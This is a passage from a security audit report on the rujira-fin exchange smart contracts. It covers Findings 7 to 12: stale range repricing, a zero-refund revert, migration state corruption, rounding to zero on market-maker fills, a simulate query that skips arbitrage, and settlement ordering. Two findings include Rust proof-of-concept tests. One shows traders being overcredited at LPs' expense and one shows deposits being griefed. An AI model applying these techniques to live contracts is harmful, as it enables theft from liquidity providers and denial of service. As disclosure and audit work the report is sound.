packages/rujira-rs/src/exchange/swapper.rs:40-64 (`swap()`)
```

Impact

This issue may cause takers to receive systematically worse execution than the SCL curve implies whenever a trade only partially consumes a range slice. The value difference is transferred to the range side of the trade because settlement is performed at a bucket-wide average that already includes worse prices the taker never actually reached. The effect is repeatable and does not require privileged access, oracle manipulation, or unusual timing conditions.

For limit orders, the same distortion may cause false negatives. A limit order can encounter a range slice whose true front portion is executable within the specified limit, but because the protocol evaluates the entire slice average, the order may halt early and leave input unfilled or parked as residual liquidity. This may degrade execution quality, reduce fill rates, and make the protocol appear less liquid than it actually is at the top of book.

Secondary effects may further distort market behavior. Because `rate()` is used for route ordering, order-book queries, and midpoint derivation, range liquidity may be ranked or displayed at prices that are worse than the true marginal entry price. That can steer order flow away from ranges, bias quoted

book depth, and feed distorted price information into range-creation balancing and slippage checks. The cumulative consequence is a persistent mismatch between the intended continuous SCL curve and the executed discrete pricing model.

Remediation

Consider separating bucket construction from execution pricing. A `RangeOffer` may still aggregate liquidity for iteration efficiency, but it should not settle a partial fill at the average price of the entire `[start, end]` interval. One approach is to treat the stored slice as an upper bound on available liquidity, then solve for the actual terminal point reached by the requested fill and compute the average price only over the consumed prefix of the slice. For SCL liquidity, that means inverting the relevant reserve integral within the slice and evaluating `DeltaY/DeltaX` over `[start, p*]` instead of `[start, end]`.

`Limit` checks and route ordering should use a price notion that is safe for partial execution. A conservative and economically correct approach is to compare against the marginal entry price or an exact prefix price for the requested amount rather than the whole-slice average. Public book queries can continue to expose discretized buckets if desired, but they should be clearly separated from the execution path so the protocol does not rely on display-oriented approximations when deciding actual settlement, routing priority, or midpoint-based deposit balancing.

Finding 7: Range slice iteration does not refresh repriced ranges and can misquote later slices

Severity: Medium

Status: Resolved

Description

`RangeOfferIter` builds slices from iterator-local `Range` clones stored in `self.ranges`. `Swapper::swap()` then keeps consuming that same iterator until the taker order is exhausted, so one user swap can traverse multiple slices from one stale iterator instance.

The iterator stores a cloned `Range` and keeps using it for later slices:

```
fn insert_range(Andmut self, range: AndRange) {
    let mut value = self.ranges.get(Andkey).unwrap_or(Andvec![]).clone();
    value.push(range.clone());
    self.ranges.insert(key, value);
}

fn build_offer(Andmut self, start: AndDecimal) -> Option<RangeOffer> {
    let mut offer = RangeOffer::new(Andself.side, start, Andself.previous?);
    for r in self.ranges.values_mut().flatten() {
        offer.insert_range(r);
    }
    Some(offer)
}
```

But the actual fill mutates the live range and reprices it:

```
match side {
    Side::Base => {
        self.quote += add;
        self.base -= deduct.min(self.base);
        self.reprice(Andcontext.tick, Andcontext.fee_range());
    }
    Side::Quote => {
        self.quote -= deduct.min(self.quote);
        self.base += add;
        self.reprice(Andcontext.tick, Andcontext.fee_range());
    }
}
```

So after slice 1, the live range has moved from:

```
S0 = (base0, quote0, price0, ask0, bid0)
```

to:

```
S1 = (base1, quote1, price1, ask1, bid1)
```

but the iterator still holds the old clone:

```
S0_snapshot = (base0, quote0, price0, ask0, bid0)
```

The only part of the clone that still changes is local allocation bookkeeping:

```
base_allocated / quote_allocated
```

So the stale values are:

- `base`
- `quote`
- `price`
- `ask`
- `bid`

and anything derived from them for the next slice.

The next slice amount is computed from the range's current reserves and current price:

```
pub fn amount_in_slice(&mut self, side: &Side, p_start: Decimal, p_end: Decimal) -> Decimal {
    let amount = scl.amount_in_slice(side, self.base, self.quote, self.price, p_start, p_end);
    match side {
        Side::Base => {
            let remaining = self.base.saturating_sub(self.base_allocated);
            let used = amount.min(remaining);
            self.base_allocated += used;
            used
        }
        Side::Quote => { ... }
    }
}
```

For `Side::Base`, the relevant formulas are:

```
price = solve s from x * Y(s) - y * X(s) = 0, then price = s^2
ask   = tick_ceil(price * (1 + spread + fee_range))

amount_in_slice = L(base, quote, price) * (X(s_start) - X(s_end))
effective_rate  = (Y(s_end) - Y(s_start)) / (X(s_start) - X(s_end))
```

So the next slice depends on:

- current reserves: `base`, `quote`
- current repriced midpoint: `price`
- current opening point: `ask` or `bid`
- current slice interval: `start`, `end`

Correct Path vs Actual Path

After slice 1 fills, the correct second slice should be computed from the new live state:

```
Correct slice 2:
start2 = ask1
amount2 = f(base1, quote1, price1, start2, end2)
rate2   = g(start2, end2)
```

The implementation instead computes slice 2 from the stale pre-fill snapshot:

```
Actual slice 2:
start2 = old iterator boundary
amount2 = f(base0, quote0, price0, start2, end2), capped only by allocated_base
rate2   = g(start2, end2)
```

This is why `base_allocated` is not enough to save correctness. It prevents obvious double-counting of total inventory, but it does not update:

- `base0 -> base1`
- `quote0 -> quote1`
- `price0 -> price1`
- `ask0/bid0 -> ask1/bid1`

So later slices are priced off the wrong curve state. Integer settlement makes the divergence deterministic because the live range is repriced from rounded post-fill reserves, while the iterator keeps walking the old pre-fill schedule.

Code:

```
contracts/rujira-fin/src/ranges/iter.rs:96-105 (`build_offer()`)
contracts/rujira-fin/src/ranges/range_offer.rs:77-116 (`swap()`)
contracts/rujira-fin/src/ranges/range.rs:268-311 (`swap()`, `reprice()`)
packages/rujira-rs/src/exchange/swapper.rs:40-64 (`Swapper::swap()`)
```

```
// contracts/rujira-fin/src/ranges/iter.rs
fn build_offer(&mut self, start: &Decimal) -> Option<RangeOffer> {
    let mut offer = RangeOffer::new(&self.side, start, &self.previous?);
    for r in self.ranges.values_mut().flatten() {
        offer.insert_range(r); // built from iterator-local cached ranges
    }
    Some(offer)
}
```

```
// packages/rujira-rs/src/exchange/swapper.rs
for mut v in iter {
    let mut next_context = self.context.clone();
    let (offer, bids, atts) = v.swap(&mut next_context, self.remaining_offer)?;
    self.context = next_context;
    ...
}
```

```
// contracts/rujira-fin/src/ranges/range_offer.rs
let mut ctx_r = context.ranges.remove(&r.idx).unwrap_or_else(|| r.clone());
used.push(ctx_r.swap(context, &self.side, add, deduct));
context.ranges.insert(ctx_r.idx, ctx_r);

...

Ok((
    offer_used.to_uint_ceil(),
    bids_used.to_uint_floor(),
    ...
))
```

Impact

A trader can force FIN to traverse multiple slices from the same range in one transaction and receive execution based on slice prices that are stale relative to the live repriced range. When the stale path is more favorable than the live path, the trader is overcredited and the LP loses value. Because the discrepancy is driven by deterministic iterator reuse plus rounding drift, the attack is repeatable whenever a target range configuration and trade size span enough slices.

Proof of Concept:

The code below compares the production path, which builds one `RangeOfferIter` and consumes it across multiple slices, against a reference path that rebuilds the iterator after every filled slice from freshly committed state.

```
use cosmwasm_std::{Addr, Decimal, Response, SignedDecimal, Uint128};
use cosmwasm_std::testing::mock_dependencies;
use rujira_rs::exchange::Swapper;
use rujira_rs::fin::{Denoms, RangeConfig, Side, SwapRequest, Tick};
use std::str::FromStr;

use crate::ranges::{Range, RangeContext, RangeOfferIter};
use crate::CONTRACT_NAME;

fn run_range_swap_once(
    side: Side,
    delta: Decimal,
    fee_range: Decimal,
    range_fee: Decimal,
    skew: SignedDecimal,
    offer: Uint128,
) -> (Range, Uint128, Uint128) {
    let mut deps = mock_dependencies();
    let tick = Tick::new(8);
    let owner = Addr::unchecked("owner");

    let range = Range::new(
        deps.as_mut().storage,
        Andtick,
        Andfee_range,
        owner,
        RangeConfig {
            high: Decimal::from_str("4").unwrap(),
            low: Decimal::from_str("3").unwrap(),
            skew,
```

```
            spread: Decimal::permille(10),
            fee: range_fee,
        },
        (
            Decimal::from_str("100000000").unwrap(),
            Decimal::from_str("401992761").unwrap(),
        ),
    )
    .unwrap();

    let deps_mut = deps.as_mut();
    range.save(deps_mut.storage).unwrap();

    let mut swapper = Swapper::new(
        CONTRACT_NAME,
        RangeContext::new(
            Addr::unchecked("fee"),
            fee_range,
            Denoms::new("base", "quote"),
            tick,
        ),
        offer,
        SwapRequest::Yolo {
            to: None,
            callback: None,
        },
        Decimal::zero(),
    );

    let res = {
        let mut iter = RangeOfferIter::new(deps_mut.storage, Andside, Anddelta);
        swapper.swap(Andmut iter).unwrap()
    };

    swapper
        .context
        .commit(deps_mut.storage, Response::default())
        .unwrap();

    (
        Range::load(deps.as_ref().storage, Uint128::one()).unwrap(),
        res.consumed_offer,
        res.return_amount,
    )
}

fn run_range_swap_rebuilding_each_slice(
    side: Side,
    delta: Decimal,
    fee_range: Decimal,
    range_fee: Decimal,
    skew: SignedDecimal,
    offer: Uint128,
) -> (Range, Uint128, Uint128) {
    let mut deps = mock_dependencies();
    let tick = Tick::new(8);
    let owner = Addr::unchecked("owner");

    let range = Range::new(
        deps.as_mut().storage,
        Andtick,
        Andfee_range,
        owner,
        RangeConfig {
            high: Decimal::from_str("4").unwrap(),
            low: Decimal::from_str("3").unwrap(),
            skew,
            spread: Decimal::permille(10),
            fee: range_fee,
        },
```

```
        (
            Decimal::from_str("100000000").unwrap(),
            Decimal::from_str("401992761").unwrap(),
        ),
    )
    .unwrap();

    range.save(deps.as_mut().storage).unwrap();

    let mut remaining = offer;
    let mut consumed_offer = Uint128::zero();
    let mut return_amount = Uint128::zero();

    while !remaining.is_zero() {
        let next_offer = {
            let mut iter = RangeOfferIter::new(deps.as_ref().storage, Andside, Anddelta);
            iter.next()
        };

        let Some(next_offer) = next_offer else {
            break;
        };

        let mut swapper = Swapper::new(
            CONTRACT_NAME,
            RangeContext::new(
                Addr::unchecked("fee"),
                fee_range,
                Denoms::new("base", "quote"),
                tick.clone(),
            ),
            remaining,
            SwapRequest::Yolo {
                to: None,
                callback: None,
            },
            Decimal::zero(),
        );

        let res = {
            let mut single = std::iter::once(next_offer);
            swapper.swap(Andmut single).unwrap()
        };

        if res.consumed_offer.is_zero() {
            break;
        }

        swapper
            .context
            .commit(deps.as_mut().storage, Response::default())
            .unwrap();

        remaining -= res.consumed_offer;
        consumed_offer += res.consumed_offer;
        return_amount += res.return_amount;
    }

    (
        Range::load(deps.as_ref().storage, Uint128::one()).unwrap(),
        consumed_offer,
        return_amount,
    )
}

#[test]
fn same_side_single_iterator_diverges_from_rebuilt_slices() {
    let stale = run_range_swap_once(
        Side::Base,
        Decimal::percent(1),
```

```
        Decimal::zero(),
        Decimal::zero(),
        SignedDecimal::from_str("-0.5").unwrap(),
        Uint128::new(50_000_000),
    );
    let rebuilt = run_range_swap_rebuilding_each_slice(
        Side::Base,
        Decimal::percent(1),
        Decimal::zero(),
        Decimal::zero(),
        SignedDecimal::from_str("-0.5").unwrap(),
        Uint128::new(50_000_000),
    );

    assert_ne!(stale, rebuilt);
    assert!(stale.2 < rebuilt.2, "expected stale path to return less base");
    assert!(stale.0.base > rebuilt.0.base, "expected stale path to leave more base behind");
}

#[test]
fn same_side_single_iterator_can_overcredit_taker() {
    let stale = run_range_swap_once(
        Side::Base,
        Decimal::percent(1),
        Decimal::zero(),
        Decimal::zero(),
        SignedDecimal::from_str("0.5").unwrap(),
        Uint128::new(50_000_000),
    );
    let rebuilt = run_range_swap_rebuilding_each_slice(
        Side::Base,
        Decimal::percent(1),
        Decimal::zero(),
        Decimal::zero(),
        SignedDecimal::from_str("0.5").unwrap(),
        Uint128::new(50_000_000),
    );

    assert_ne!(stale, rebuilt);
    assert!(stale.2 > rebuilt.2, "expected stale path to return more base");
    assert!(stale.0.base < rebuilt.0.base, "expected stale path to leave less base behind");
}
```

Remediation

The two valid semantic options are:

- Frozen-snapshot: build the full swap path from the initial state `S0` and ensure settlement is economically equivalent to executing entirely against that same frozen snapshot.
- Dynamic-live: after each filled slice, commit the new live state `S1`, `S2`, … and rebuild the next slice from that updated state.

The current implementation sits between those two models: settlement mutates live state and reprices after each slice, but later slices are still quoted from the old iterator snapshot. That mixed semantic is the bug and should not be preserved.

The simplest safe fix is to adopt dynamic-live semantics. Once a range has been touched, invalidate any pending iterator-local slice that references it and rebuild the next `RangeOffer` from `context.ranges`, so that `base`, `quote`, `price`, `ask`/`bid`, `amount_in_slice`, and `effective_rate` all come from the same post-fill state.

If precomputation is required for performance, the optimization boundary must still preserve one coherent model. Either:

- rebuild the affected range slices after every mutation, or
- redesign settlement so that a fully precomputed iterator is also settled against the same frozen state it was quoted from.

As a defense-in-depth improvement, avoid mixing precomputed decimal pricing with per-slice integer settlement unless the next slice is explicitly derived from the rounded live post-settlement state.

Finding 8: Zero-refund range creation emits an empty bank send and reverts valid deposits

Severity: Medium

Status: Resolved

Description

`RangeMsg::Create` now supports automatic balancing against the current FIN midpoint whenever `mid_price` is present. In that branch, the contract always constructs a `BankMsg::Send` for the computed refund, even when both refund legs are zero.

That behavior is unsafe because a perfectly valid balanced deposit has no refund at all:

1. the user supplies funds that already match `Range::balance()` exactly, or
2. the current midpoint lies outside the requested range, so the provided one-sided liquidity is already the final allocation.

In both cases `refund.normalize()` produces an empty amount vector, but `execute_range()` still appends a transfer message. On real execution this fails with `Cannot transfer empty coins amount`, reverting the entire range creation.

Whenever both sides of the book are populated such that `mid_price()` returns `Some(_)`, every `RangeMsg::Create` is forced onto the auto-balancing path. Under those conditions, users attempting exact-ratio deposits or one-sided deposits outside the live midpoint will revert unless they deliberately overfund one leg to manufacture a non-empty refund. An attacker can make this condition easier to sustain by keeping minimal non-crossing liquidity on both sides of the book, which turns otherwise valid LP onboarding into a griefable flow.

Code:

```
contracts/rujira-fin/src/ranges/execute.rs:43-55 (`RangeMsg::Create`)
contracts/rujira-fin/src/ranges/range.rs:114-142 (`balance()`)
contracts/rujira-fin/src/contract.rs:173-180 (`DoRange` midpoint path)
```

```
let mut refund = NativeBalance(vec[ coin(split_floor(ref_base).0.u128(), config.denoms.base()), coin(split_floor(ref_quote).0.u128(), config.denoms.quote()),]); refund.normalize(); response = response.add_message(BankMsg::Send { to_address: sender.to_string(), amount: refund.into_vec(), });
```

Impact

Valid range creations can revert solely because the refund is empty. This affects:

1. exactly balanced deposits at the live midpoint
2. one-sided deposits when the midpoint is already below `low` or above `high`

Because `DoRange` always uses the midpoint path whenever `mid_price()` is defined, the failure can become persistent in markets with resting liquidity on both sides. A low-cost attacker only needs to help keep both sides populated so `mid_price()` stays defined, then wait for LPs to submit deposits that require no refund.

Proof of Concept:

```
#[test]
fn test_create_range_with_zero_refund_under_mid_price_reverts() {
    let mut app = mock_rujira_app();
    let owner = app.api().addr_make("owner");
    let fees = app.api().addr_make("fees");
    let user = app.api().addr_make("user");

    app.init_modules(|router, _, storage| {
        let amount = vec![
            coin(1000000000000, "btc-btc"),
            coin(100000000000000000, "rune"),
        ];
        router.bank.init_balance(storage, Anduser, amount).unwrap();
    });

    let fin = Fin::create(
        Andmut app,
        Andowner,
        Andfees,
        And[],
        Denoms::new("rune", "btc-btc"),
        None,
        Decimal::permille(0),
    );

    // Seed the book so both sides exist and mid_price() becomes Some(_).
    fin.create_range(
        Andmut app,
        Anduser,
        ("0.000012", "0.0000035"),
        "0.001",
        "0.0001",
        "0",
        And[coin(5000000, "btc-btc"), coin(666300000000, "rune")],
    )
    .unwrap();

    // Pick a range whose low bound is above the live midpoint and fund it
    // with only the base asset. Range::balance() keeps the full deposit and
    // returns a zero refund, but execute_range() still emits BankMsg::Send.
    let err = fin
        .create_range(
            Andmut app,
            Anduser,
            ("0.000012", "0.000010"),
            "0.001",
            "0.0001",
            "0",
```

```
            And[coin(100000000000, "rune")],
        )
        .unwrap_err();

    assert!(
        err.chain()
            .any(|cause| cause.to_string().contains("Cannot transfer empty coins amount")),
        "{err:#}"
    );
}
```

Execution:

```
CARGO_TARGET_DIR=/tmp/rujira-fin-audit-target cargo test -p rujira-fin test_create_range_with_zero_refund_under_mid_price_r
```

Observed result:

```
running 1 test
test testing::ranges::test_create_range_with_zero_refund_under_mid_price_reverts ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 69 filtered out
```

The assertion only passes because the revert chain contains `Cannot transfer empty coins amount`, confirming that a zero-refund `RangeMsg::Create` is reachable and fails in execution

Remediation

Only emit the refund transfer when the normalized refund balance is non-empty.

In practice, `execute_range()` should gate the `BankMsg::Send` behind `if !refund.is_empty()`. This matches the rest of the contract, which already avoids empty payout sends in swap, claim, withdraw, and close paths.

Finding 9: Incomplete upgrade migration may corrupt range state and reset range fees

Severity: Low

Status: Resolved

Description

The upgrade path does not translate legacy `rujira-fin` state into the new storage layout before the new code begins serving traffic. The current `migrate()` implementation only checks the previous contract version and writes the new version string, but it does not reconstruct derived state or remap renamed configuration fields. As a result, deployments upgraded from an older layout may enter the new version with missing or stale state even though migration completes successfully.

This affects at least two range-related invariants. First, `Range::new()` allocates new range identifiers from `RANGE_COUNTER`, defaulting to zero when the counter is absent. If a legacy deployment already contains persisted ranges but the upgrade does not rebuild `RANGE_COUNTER`, the first post-upgrade range creation may reuse identifiers that are already assigned to live positions and overwrite those records in place. Second, the new `Config` schema expects `fee_range`, while legacy state stored the economically equivalent value under a different field. Because the new field is marked with `#[serde(default)]`, legacy config can deserialize without error while silently defaulting `fee_range` to zero instead of preserving the previous non-zero fee configuration.

These behaviors share the same root cause: migration does not perform explicit state translation for legacy range state and range-related configuration. The issue is therefore best understood as a single upgrade-migration vulnerability with multiple manifestations rather than two unrelated findings. Severity assessment: High. A normal upgrade from an older deployment may leave the contract in a state where existing range ownership can be corrupted and range trading economics can change without governance intent.

Code:

```rust
// rujira/contracts/rujira-fin/src/contract.rs
pub fn migrate(deps: DepsMut, _env: Env, _msg: ()) -> Result<Response, ContractError> {
    ensure_from_older_version(deps.storage, CONTRACT_NAME, CONTRACT_VERSION)?;
    set_contract_version(deps.storage, CONTRACT_NAME, CONTRACT_VERSION)?;
    Ok(Response::default()) // no legacy state translation
}
```

```rust
// rujira/contracts/rujira-fin/src/ranges/range.rs
let idx =
    Uint128::from(RANGE_COUNTER.may_load(storage)?.unwrap_or_default()).add(Uint128::one());
RANGE_COUNTER.save(storage, &idx.u128())?;
```

```
// rujira/contracts/rujira-fin/src/config.rs
pub struct Config {
    pub fee_maker: Decimal,
    pub fee_taker: Decimal,
    #[serde(default)]
    pub fee_range: Decimal, // missing legacy field deserializes as zero
    pub fee_address: Addr,
}
```

Impact

On upgraded deployments with pre-existing range positions, a subsequent range creation may reuse an existing identifier and overwrite the stored record for an earlier position. This may allow the new creator to replace the previous owner and associated balances for that range slot, which could lead to unauthorized control over liquidity that was deposited before the upgrade.

Remediation

If there's currently a version before Fin 2.0 that needs to be migrated to the new Fin version, consider replacing the current version-only migration with an explicit, version-aware state migration that reads the legacy layout, reconstructs all required derived state, and rewrites the new schema before the contract is allowed to process post-upgrade actions. For the range subsystem, one approach is to scan persisted ranges during `migrate()` and initialize `RANGE_COUNTER` to at least the maximum live identifier already stored. For configuration, the migration should decode the legacy config shape, map the old fee field into `fee_range`, validate the translated result, and save the new structure atomically.

It would also be prudent to add defensive runtime checks so that migration mistakes fail closed rather than silently changing behavior. In particular, `Range::new()` should reject allocation if the generated identifier already exists, and economically sensitive configuration such as `fee_range` should not rely on `#[serde(default)]` across schema changes unless zero is provably safe. If migration cannot establish these invariants, it should revert rather than completing with partially translated state.

Discussion:

> *Auditor:*
>
> There is currently no requirement to migrate from an old version to fin 2.1.1.

Finding 10: Rounded-down market-maker partial fills can produce zero-amount output entries

Severity: Low

Status: Resolved

Description

The market-maker swap path allows a partial fill to be recorded even when the returned amount rounds down to zero at token precision. In `MarketMakerOffer::swap()`, the partial-fill branch computes `offer_value` as `floor(offer * price)` and records `(offer, ask) = (offer, offer_value)`. When the quoted `price` is positive but smaller than one unit of the output asset at the current input size, `offer_value` becomes zero even though `offer` remains non-zero.

That zero-amount output is then inserted into `MarketMakerContext`. During `compile()`, aggregated market-maker transfers are skipped whenever either side of the pair is zero. As a result, the zero-output fragment is silently omitted from the external settlement message. At the swapper layer, the step may still be reflected in local execution accounting through `consumed_offer`, `remaining_offer`, and event generation because the swap path treats the rounded result as a valid fill candidate before settlement compilation removes it.

A user can reach a path where the effective market-maker output is rounded to zero and the corresponding fragment is discarded instead of being rejected explicitly.

Code:

```
1  rujira/contracts/rujira-fin/src/market_maker/offer.rs:35-65 (`swap()`)
2  rujira/contracts/rujira-fin/src/market_maker/context.rs:49-76 (`compile()`)
3  rujira/packages/rujira-rs/src/exchange/swapper.rs:40-72 (`swap()`)
```

// rujira/contracts/rujira-fin/src/market_maker/offer.rs let offer_value = Decimal::from_ratio(offer, 1u128) .mul(self.price) .to_uint_floor();

let (offer, ask) = match self.total.cmp(&offer_value) { Ordering::Greater => { self.total -= offer_value; (offer, offer_value) // `offer_value` may round down to zero } _ => { let size = self.total; self.total = Uint128::zero(); (pool_value, size) } };

// rujira/contracts/rujira-fin/src/market_maker/context.rs for ((addr, offer_denom, ask_denom), (offer_amount, ask_amount)) in agg { if offer_amount.is_zero() || ask_amount.is_zero() { continue; // zero-sided entries are silently dropped } }

Impact

Users may encounter swaps in which a market-maker fragment is too small to settle into a non-zero output amount, causing that fragment to be dropped during settlement compilation instead of being rejected clearly. Because the condition is bounded to amounts that round below the minimum on-chain unit of the output asset, the security impact is limited.

Remediation

Consider rejecting zero-output and zero-input market-maker fills before they are inserted into the shared context. One approach is to make `MarketMakerOffer::swap()` return an error, or skip the fill entirely, whenever rounding would produce `offer > 0 AndAnd ask == 0` or `ask > 0 AndAnd offer == 0`. This makes the boundary condition explicit and avoids carrying an economically empty fill into later stages of execution.

Consider also hardening `MarketMakerContext::compile()` so that asymmetric zero-amount aggregates are surfaced intentionally rather than silently skipped. For example, the function could return an error for such entries, or the surrounding swap logic could treat them as unfillable dust and leave the corresponding amount in `remaining_offer`. Either approach would make user-visible behavior easier to reason about and keep settlement behavior aligned with execution accounting.

Finding 11: Simulate query ignores mandatory arbitrage and can return false execution quotes

Severity: Low

Status: Resolved

Description

Real FIN execution always runs internal arbitrage before the user action. `ExecuteMsg::Swap`, `Order`, and `Range` are all wrapped into `ExecuteMsg::Arb`, which first consumes any crossed liquidity on the unified book and only then executes the requested action.

`QueryMsg::Simulate` does not mirror that path. It constructs a `Swapper` directly from a fresh `create_context()` and simulates the requested swap against the pre-arbitrage book. Any liquidity that would have been consumed by the mandatory arbitrage step is therefore still visible to the simulator. The returned quote can overstate available liquidity, understate slippage, and understate failure risk for `Min` or `Exact` requests.

Code:

```
contracts/rujira-fin/src/contract.rs:58-104 (`Swap`, `Order`, `Range`, `Arb`)
contracts/rujira-fin/src/contract.rs:271-288 (`QueryMsg::Simulate`)
packages/rujira-rs/src/exchange/arb.rs:24-48 (`Arber::run()`)
```

// contracts/rujira-fin/src/contract.rs ExecuteMsg::Swap(req) => { let msg = WasmMsg::Execute { contract_addr: env.contract.address.to_string(), msg: to_json_binary(&ExecuteMsg::Arb { then: Some(…) })?, funds: info.funds, }; }

// contracts/rujira-fin/src/contract.rs QueryMsg::Simulate(offer) => { let mut swapper = Swapper::new(CONTRACT_NAME, create_context(&config), offer.amount, SwapRequest::Yolo { … }, config.fee_taker,); let mut iter = swap_iter.iter(deps.storage, &side, &oracle); let res = swapper.swap(&mut iter)?; }

Impact

Clients that rely on `QueryMsg::Simulate` can receive quotes that are unattainable in the actual execution path. The discrepancy can lead to user-facing transaction failures, incorrect route selection, and stale `min_return` assumptions.

Remediation

Consider making `Simulate` run the same `Arb` phase that precedes real execution, then simulating the requested swap from the resulting context.

More generally, any public simulation endpoint should be behaviorally equivalent to the corresponding execution path except for final state persistence. Deviations in pre-processing steps should be treated as correctness bugs.

Discussion:

> *Auditor:*
>
> The simulation will be handled through offchain SDK.

Finding 12: Unordered multi-market-maker settlement can revert solvent executions

Severity: Low

Status: Acknowledged

Description

The market-maker context batches all market-maker fills and emits the resulting external swap messages in the order produced by `compile()`. That order is purely a byproduct of `BTreeMap` key ordering over `(contract, offer_denom, ask_denom)`; it is unrelated to whether FIN currently holds enough of the outgoing asset to pay each message.

This matters whenever a transaction touches more than one market maker and one fill would provide the exact asset needed to fund another fill. In that case, FIN may be solvent over the whole batch but temporarily illiquid if the messages execute in the wrong sequence. Because all market-maker messages are dispatched from the same outer FIN transaction, one early `insufficient funds` failure reverts the whole operation.

An attacker who can shape arbitrage to require an inflow-before-outflow sequence can force core entrypoints to revert even though the net settlement is coverable.

Code:

```
contracts/rujira-fin/src/market_maker/context.rs:49-76 (`compile()`)
contracts/rujira-fin/src/market_maker/context.rs:91-103 (`commit()`)
contracts/rujira-fin/src/contract.rs:58-104 (`Swap`, `Order`, `Range`, `Arb`)
```

// contracts/rujira-fin/src/market_maker/context.rs let mut agg: BTreeMap<(Addr, String, String), (Uint128, Uint128)> = BTreeMap::new();

// contracts/rujira-fin/src/market_maker/context.rs for (addr, (offer, ask)) in self.compile() { messages.push(CosmosMsg::Wasm(WasmMsg::Execute { contract_addr: addr.to_string(), … funds: vec[offer.clone()], })); }

Impact

User swaps, order updates, and range actions can revert whenever market-maker settlement requires one inbound asset flow to arrive before another outbound payment. This can be triggered without breaking any individual quote invariant; it is enough that FIN's temporary balance ordering is wrong.

The effect is a protocol-wide denial of service under attacker-controlled book conditions. It can also make settlement success depend on lexicographic address ordering rather than economic validity, which is a fragile and unsafe property for a core trading path.

Remediation

Consider ordering compiled market-maker messages against FIN's live balances so that inflows that unlock later outflows are executed first.

At minimum, FIN should reject a batch it cannot sequence safely, rather than relying on incidental key ordering from `BTreeMap`. The batch planner needs to reason about per-denom temporary balances, not just final net flows.

Disclaimer

This security report (“Report”) is provided by FailSafe (“Tester”) for the exclusive use of the client (“Client”). The scope of this assessment is limited to the security testing services performed against the systems, applications, or environments supplied by the Client. This Report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer, and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you (“Customer” or the “Company”) in connection with the Agreement. This Report, provided in connection with the Services set forth in the Agreement, shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This Report may not be transmitted, disclosed, referred to, or relied upon by any person for any purpose, nor may copies be delivered to any other person other than the Company, without FailSafe’s prior written consent in each instance.

This Report is not, nor should it be considered, an “endorsement” or “disapproval” of any particular project, system, or team. This Report is not, nor should it be considered, an indication of the economics or value of any “product” or “asset” created by any team or project that contracts FailSafe to perform security testing. This Report does not provide any warranty or guarantee regarding the absolute security or bug-free nature of the technology analyzed, nor does it provide any indication of the technology’s proprietors, business, business model, or legal compliance.

This Report should not be used in any way to make decisions around investment or involvement with any particular project. This Report in no way provides investment advice, nor should it be leveraged as investment advice of any sort. This Report represents an extensive testing process intended to help our customers identify potential security weaknesses while reducing the risks associated with complex systems and emerging technologies.

Technology systems, applications, and cryptographic assets present a high level of ongoing risk. FailSafe’s position is that each company and individual are responsible for their own due diligence and continuous security practices. FailSafe’s goal is to help reduce attack vectors and the high level of variance associated with utilizing new and evolving technologies, and in no way claims any guarantee of security or functionality of the systems we agree to test.

The security testing services provided by FailSafe are subject to dependencies and are under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. The testing process may include false positives, false negatives, and other unpredictable results. The services may access and depend upon multiple layers of third-party technologies.

ALL SERVICES, THE LABELS, THE TESTING REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED “AS IS” AND “AS AVAILABLE” AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED

UNDER APPLICABLE LAW, FAILSAFE HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, TESTING REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, FAILSAFE SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, FAILSAFE MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE TESTING REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE.

WITHOUT LIMITATION TO THE FOREGOING, FAILSAFE PROVIDES NO WARRANTY OR DISCLAIMER UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER FAILSAFE NOR ANY OF FAILSAFE'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. FAILSAFE WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, TESTING REPORT, OR OTHER MATERIALS.

